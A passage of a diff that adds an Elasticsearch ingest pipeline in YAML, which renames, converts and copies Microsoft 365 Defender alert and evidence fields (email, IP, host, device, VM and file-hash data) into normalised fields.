set_threat_technique_subtechnique_id + copy_from: m365_defender.alert.mitre_techniques + ignore_empty_value: true + - rename: + field: json.actorDisplayName + tag: rename_actorDisplayName + target_field: m365_defender.alert.actor_display_name + ignore_missing: true + - rename: + field: json.classification + tag: rename_classification + target_field: m365_defender.alert.classification + ignore_missing: true + - foreach: + field: json.comments + tag: foreach_comments + if: ctx.json?.comments instanceof List + processor: + append: + field: related.user + tag: foreach_comments_append_createdByDisplayName + value: '{{{_ingest._value.createdByDisplayName}}}' + allow_duplicates: false + - rename: + field: json.comments + tag: rename_comments + target_field: m365_defender.alert.comments + ignore_missing: true + - rename: + field: json.detectorId + tag: rename_detectorId + target_field: m365_defender.alert.detector_id + ignore_missing: true + - rename: + field: json.detectionSource + tag: rename_detection_source + target_field: m365_defender.alert.detection_source + ignore_missing: true + - rename: + field: json.determination + tag: rename_determination + target_field: m365_defender.alert.determination + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_createdDateTime + if: ctx.json?.evidence instanceof List + processor: + date: + field: _ingest._value.createdDateTime + tag: date_foreach_evidence_createdDateTime + target_field: _ingest._value.created_datetime + formats: + - ISO8601 + on_failure: + - remove: + field: _ingest._value.createdDateTime + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_remediationStatus + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.remediationStatus + tag: foreach_rename_remediationStatus + target_field: _ingest._value.remediation_status + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evident_ipInterfaces + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.ipInterfaces + tag: inside_foreach_convert_ipInterfaces + ignore_missing: true + processor: + convert: + field: _ingest._value + tag: foreach_convert_ipInterfaces + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_ip_interfaces + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.ipInterfaces + tag: rename_foreach_ip_interfaces + target_field: _ingest._value.ip_interfaces + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_ip_interfaces_to_host_ip + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.ip_interfaces + tag: foreach_append_ip_interfaces_to_host_ip + ignore_missing: true + processor: + append: + field: host.ip + tag: append_ip_interfaces_to_host_ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_ip_interfaces_to_related_ip + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.ip_interfaces + tag: foreach_append_ip_interfaces_to_related_ip + ignore_missing: true + processor: + append: + field: related.ip + tag: append_ip_interfaces_to_related_ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_detailedRoles + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.detailedRoles + tag: rename_foreach_detailedRoles + target_field: _ingest._value.detailed_roles + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_remediationStatusDetails + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.remediationStatusDetails + tag: rename_foreach_remediationStatusDetails + target_field: _ingest._value.remediation_status_details + ignore_missing: true + - rename: + field: json.incidentId + tag: rename_incidentId + target_field: m365_defender.alert.incident_id + ignore_missing: true + - uri_parts: + field: json.incidentWebUrl + tag: uri_parts_incidentWebUrl + target_field: m365_defender.alert.incident_web_url + if: ctx.json?.incidentWebUrl != null + keep_original: true + on_failure: + - remove: + tag: remove_json_incidentWebUrl_109036dc + field: json.incidentWebUrl + - append: + tag: append_error_message_08848c8b + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.providerAlertId + tag: rename_providerAlertId + target_field: m365_defender.alert.provider_alert_id + ignore_missing: true + - rename: + field: json.recommendedActions + tag: rename_recommendedActions + target_field: m365_defender.alert.recommended_actions + ignore_missing: true + - date: + field: json.resolvedDateTime + tag: date_resolvedDateTime + target_field: m365_defender.alert.resolved_datetime + formats: + - ISO8601 + if: ctx.json?.resolvedDateTime != null && ctx.json.resolvedDateTime != '' + on_failure: + - append: + tag: append_error_message_3911a726 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.status + tag: rename_status + target_field: m365_defender.alert.status + ignore_missing: true + - rename: + field: json.threatDisplayName + tag: rename_threatDisplayName + target_field: m365_defender.alert.threat_display_name + ignore_missing: true + - rename: + field: json.title + tag: rename_title + target_field: m365_defender.alert.title + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_@0data + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.@odata.type + tag: foreach_rename_evidence_@odata + target_field: _ingest._value.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_receivedDateTime + if: ctx.json?.evidence instanceof List + processor: + date: + field: _ingest._value.receivedDateTime + tag: date_foreach_evidence_receivedDateTime + target_field: _ingest._value.received_datetime + formats: + - ISO8601 + on_failure: + - remove: + field: _ingest._value.receivedDateTime + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_Delivery_timestamp + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.delivery_timestamp + tag: append_foreach_evidence_email_Delivery_timestamp + value: '{{{_ingest._value.received_datetime}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_antiSpamDirection + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.antiSpamDirection + tag: rename_foreach_antispam_direction + target_field: _ingest._value.antispam_direction + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_direction + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.direction + tag: append_foreach_evidence_email_direction + value: '{{{_ingest._value.antispam_direction}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_subject + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.subject + tag: append_foreach_evidence_email_subject + value: '{{{_ingest._value.subject}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_recipientEmailAddress + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.recipientEmailAddress + tag: rename_foreach_evidence_recipientEmailAddress + target_field: _ingest._value.recipient_email_address + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_related_user + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_related_user + value: '{{{_ingest._value.recipient_email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_to_address + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.to.address + tag: append_foreach_evidence_email_to_address + value: '{{{_ingest._value.recipient_email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_convert_evidence_attachmentsCount + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.attachmentsCount + tag: convert_foreach_evidence_attachmentsCount + target_field: _ingest._value.attachments_count + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.attachmentsCount + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_rename_deliveryAction + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.deliveryAction + tag: rename_foreach_evidence_deliveryAction + target_field: _ingest._value.delivery_action + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_deliveryLocation + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.deliveryLocation + tag: rename_foreach_evidence_deliveryLocation + target_field: _ingest._value.delivery_location + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_append_evidence_internetMessageId + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.message_id + tag: append_foreach_evidence_email_message_id + value: '{{{_ingest._value.internetMessageId}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_append_evidence_networkMessageId + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.local_id + tag: append_foreach_evidence_email_local_id + value: '{{{_ingest._value.networkMessageId}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_dot_expander_evidence_p1Sender + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.p1Sender + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p1Sender.@odata.type + tag: rename_foreach_evidence_odata_type + target_field: _ingest._value.p1_sender.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_p2Sender + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.p2Sender + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_p2Sender_odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p2Sender.@odata.type + tag: rename_foreach_evidence_p2Sender_odata_type + target_field: _ingest._value.p2_sender.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_displayName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p1Sender.displayName + tag: rename_foreach_p2Sender_displayName + target_field: _ingest._value.p1_sender.display_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_p1Sender_Display_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_p1Sender_Display_name + value: '{{{_ingest._value.p1_sender.display_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_p1sender_domain_name + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p1Sender.domainName + tag: rename_foreach_evidence_p1sender_domainName + target_field: _ingest._value.p1_sender.domain_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_append_related_hosts_p1sender_domain_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_rename_evidence_related_hosts_p1sender_domain_name + value: '{{{_ingest._value.p1_sender.domain_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_rename_evidence_p1sender_emailAddress + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p1Sender.emailAddress + tag: rename_foreach_evidence_p1sender_emailaddress + target_field: _ingest._value.p1_sender.email_address + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_from_adress + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.from.address + tag: append_foreach_evidence_email_from_adress + value: '{{{_ingest._value.p1_sender.email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_sender_address + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.sender.address + tag: append_foreach_evidence_email_sender_address + value: '{{{_ingest._value.p1_sender.email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_append_evidence_related_user_p1sender_emailaddress + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_related_user_p1sender_emailaddress + value: '{{{_ingest._value.p1_sender.email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_rename_evidence_p2sender_displayname + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p2Sender.displayName + tag: rename_foreach_evidence_p2sender_displayname + target_field: _ingest._value.p2_sender.display_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_user_p2sender_display_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_user_p2sender_display_name + value: '{{{_ingest._value.p2_sender.display_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_p2sender_domain_name + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p2Sender.domainName + tag: rename_foreach_evidence_p2sender_domain_name + target_field: _ingest._value.p2_sender.domain_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_hosts_p2sender_domain_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_evidence_hosts_p2sender_domain_name + value: '{{{_ingest._value.p2_sender.domain_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_p2sender_email_address + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.p2Sender.emailAddress + tag: rename_foreach_evidence_p2sender_emailAddress + target_field: _ingest._value.p2_sender.email_address + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_append_evidence_p2sender_emailaddress + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.from.address + tag: append_foreach_evidence_p2sender_emailaddress + value: '{{{_ingest._value.p2_sender.email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_append_user_p2sender_email_address + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_user_p2sender_email_address + value: '{{{_ingest._value.p2_sender.email_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_convert_senderIp + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.senderIp + tag: convert_foreach_evidence_senderIp + target_field: _ingest._value.sender_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.senderIp + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_append_source_ip_sender_ip + if: ctx.json?.evidence instanceof List + processor: + append: + field: source.ip + tag: append_foreach_evidence_source_ip_sender_ip + value: '{{{_ingest._value.sender_ip}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_related_ip_sender_ip + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.ip + tag: append_foreach_evidence_related_ip_sender_ip + value: '{{{_ingest._value.sender_ip}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_threatDetectionMethods + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.threatDetectionMethods + tag: rename_foreach_evidence_threatDetectionMethods + target_field: _ingest._value.threat_detection_methods + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_urlCount + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.urlCount + tag: convert_foreach_evidence_urlCount + target_field: _ingest._value.url_count + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.urlCount + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_convert_instanceId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.instanceId + tag: convert_foreach_evidence_instanceId + target_field: _ingest._value.instance_id + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.instanceId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_append_cloud_instance_id + if: ctx.json?.evidence instanceof List + processor: + append: + field: cloud.instance.id + tag: append_foreach_evidence_cloud_instance_id + value: '{{{_ingest._value.instance_id}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_rename_evidence_instanceName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.instanceName + tag: rename_foreach_evidence_instanceName + target_field: _ingest._value.instance_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_cloud_instance_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: cloud.instance.name + tag: append_foreach_evidence_cloud_instance_name + value: '{{{_ingest._value.instance_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_convert_appId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.appId + tag: convert_foreach_evidence_appID + target_field: _ingest._value.app_id + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.appId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_displayName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.displayName + tag: rename_foreach_evidence_display_name + target_field: _ingest._value.display_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_saasAppId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.saasAppId + tag: convert_foreach_evidence_saasAppId + target_field: _ingest._value.saas_app_id + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.saasAppId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_vmMetadata_cloudProvider + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.vmMetadata.cloudProvider + tag: rename_foreach_evidence_vmMetadata_cloudProvider + target_field: _ingest._value.vm_metadata.cloud_provider + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_mdaDeviceId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.mdeDeviceId + tag: rename_foreach_evidence_mdaDeviceId + target_field: _ingest._value.mde_device_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_mdaDeviceId_into_related_hosts + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_evidence_mdaDeviceId_into_related_hosts + value: '{{{_ingest._value.mde_device_id}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_osPlatform + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.osPlatform + tag: rename_foreach_osPlatform + target_field: _ingest._value.os_platform + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_host_os_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: host.os.name + tag: append_foreach_evidence_host_os_name + value: '{{{_ingest._value.os_platform}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_os_platform_related_hosts + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_evidence_os_platform_related_hosts + value: '{{{_ingest._value.os_platform}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_append_host_os_version + if: ctx.json?.evidence instanceof List + processor: + append: + field: host.os.version + tag: append_foreach_host_os_version + value: '{{{_ingest._value.version}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_append_version_into_related_hosts + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_version_into_related_hosts + value: '{{{_ingest._value.version}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_rename_evidence_azureAdDeviceId + if: ctx.json?.evidence instanceof List + processor: + append: + field: device.id + tag: append_azureAdDeviceId_into_device_id + value: '{{{_ingest._value.azureAdDeviceId}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_json_evidence_61979541 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.azureAdDeviceId + tag: rename_foreach_evidence_azureAdDeiveId + target_field: _ingest._value.azure_ad_device_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_defenderAvStatus + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.defenderAvStatus + tag: rename_foreach_evidence_defenderAvStatus + target_field: _ingest._value.defender_av_status + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_deviceDnsName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.deviceDnsName + tag: rename_foreach_evidece_deviceDnsName + target_field: _ingest._value.device_dns_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_hosts_device_dns_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_evidence_hosts_device_dns_name + value: '{{{_ingest._value.device_dns_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_device_dns_name_to_host_hostname + if: ctx.json?.evidence instanceof List + processor: + append: + field: host.hostname + tag: append_foreach_evidence_device_dns_name_to_host_hostname + value: '{{{_ingest._value.device_dns_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_date_firstSeenDateTime + if: ctx.json?.evidence instanceof List + processor: + date: + field: _ingest._value.firstSeenDateTime + tag: date_foreach_firstSeenDateTime + target_field: _ingest._value.first_seen_datetime + formats: + - ISO8601 + on_failure: + - remove: + field: _ingest._value.firstSeenDateTime + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_healthStatus + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.healthStatus + tag: rename_foreach_evidence_healthStatus + target_field: _ingest._value.health_status + ignore_missing: true + - foreach: + field: json.evidence + tag: double_foreach_evidence__rename_accountName + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_evidence_loggedOnUSers_rename_accountName + ignore_missing: true + processor: + rename: + field: _ingest._value.accountName + tag: rename_foreach_evidence_accountName + target_field: _ingest._value.account_name + ignore_missing: true + - foreach: + field: json.evidence + tag: double_foreach_evidence_append_loggedOnUsers_account_name + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_append_loggedOnUsers_account_name + ignore_missing: true + processor: + append: + field: related.user + tag: append_inside_foreach_loggedOnUsers_account_name + value: '{{{_ingest._value.account_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: double_foreach_evidence_rename_loggedOnUsers_domainName + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_rename_loggedOnUsers_domainName + ignore_missing: true + processor: + rename: + field: _ingest._value.domainName + tag: rename_foreach_loggedOnUsers_domainName + target_field: _ingest._value.domain_name + ignore_missing: true + - foreach: + field: json.evidence + tag: double_foreach_evidence_loggedOnUsers_append_domain_name + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_loggedOnUsers_append_domainName + ignore_missing: true + processor: + append: + field: related.hosts + tag: append_inside_foreach_loggedOnUsers_domainName + value: '{{{_ingest._value.domain_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: double_foreach_evidence_loggedOnUsers_dot_expander_@odata_type + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_dot_expander_loggedOnUsers + ignore_missing: true + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: double_foreach_evidence_loggedOnUsers_rename_@odata_type + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.loggedOnUsers + tag: inside_foreach_loggedOnUsers_rename_@odata_type + ignore_missing: true + processor: + rename: + field: _ingest._value.@odata.type + tag: rename_evidence_foreach_loggedOnUsers_@odata_type + target_field: _ingest._value.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_loggedOnUsers + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.loggedOnUsers + target_field: _ingest._value.logged_on_users + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_onboardingStatus_rename + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.onboardingStatus + target_field: _ingest._value.onboarding_status + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_osBuild + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.osBuild + tag: convert_foreach_evidence_osBuild + target_field: _ingest._value.os_build + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.osBuild + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_convert_rbacGroupId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.rbacGroupId + tag: convert_foreach_evidence_rbacGroupId + target_field: _ingest._value.rbac_group.id + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.rbacGroupId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_rename_evidence_rbacGroupName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.rbacGroupName + tag: rename_foreach_evidence_rbacGroupName + target_field: _ingest._value.rbac_group.name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_riskScore + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.riskScore + tag: rename_foreach_evidence_riskScore + target_field: _ingest._value.risk_score + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander_vmMetadata + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.vmMetadata + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_vmMetadata_@odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.vmMetadata.@odata.type + tag: rename_foreach_evidence_vmMetadata_@odata_type + target_field: _ingest._value.vm_metadata.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_vmMetadata_resourceId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.vmMetadata.resourceId + tag: rename_foreach_evidence_vmMetadata_resourceId + target_field: _ingest._value.vm_metadata.resource_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_vmMetadata_subscriptionId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.vmMetadata.subscriptionId + tag: rename_foreach_evidence_vmMetadata_subscriptionId + target_field: _ingest._value.vm_metadata.subscription_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_vmMetadata_vmId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.vmMetadata.vmId + tag: rename_foreach_evidence_vmMetadata_vmId + target_field: _ingest._value.vm_metadata.vm_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_detectionStatus + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.detectionStatus + tag: rename_foreach_evidence_detectionStatus + target_field: _ingest._value.detection_status + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_detection_status + if: ctx.json?.evidence instanceof List + processor: + append: + field: event.action + tag: append_foreach_evidence_detection_status + value: '{{{_ingest._value.detection_status}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander_fileDetails + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.fileDetails + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_fileDetails_@odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.@odata.type + tag: rename_foreach_evidence_fileDetails_@odata_type + target_field: _ingest._value.file_details.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_fileDetails_sha1 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.sha1 + tag: rename_foreach_evidence_fileDetails_sha1 + target_field: _ingest._value.file_details.sha1 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_fileDetails_sha1_into_fileHashSha1 + if: ctx.json?.evidence instanceof List + processor: + append: + field: file.hash.sha1 + tag: append_foreach_evidence_fileDetails_sha1_into_fileHashSha1 + value: '{{{_ingest._value.file_details.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_fileDetails_sha1_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_fileDetails_sha1_into_related_hash + value: '{{{_ingest._value.file_details.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: 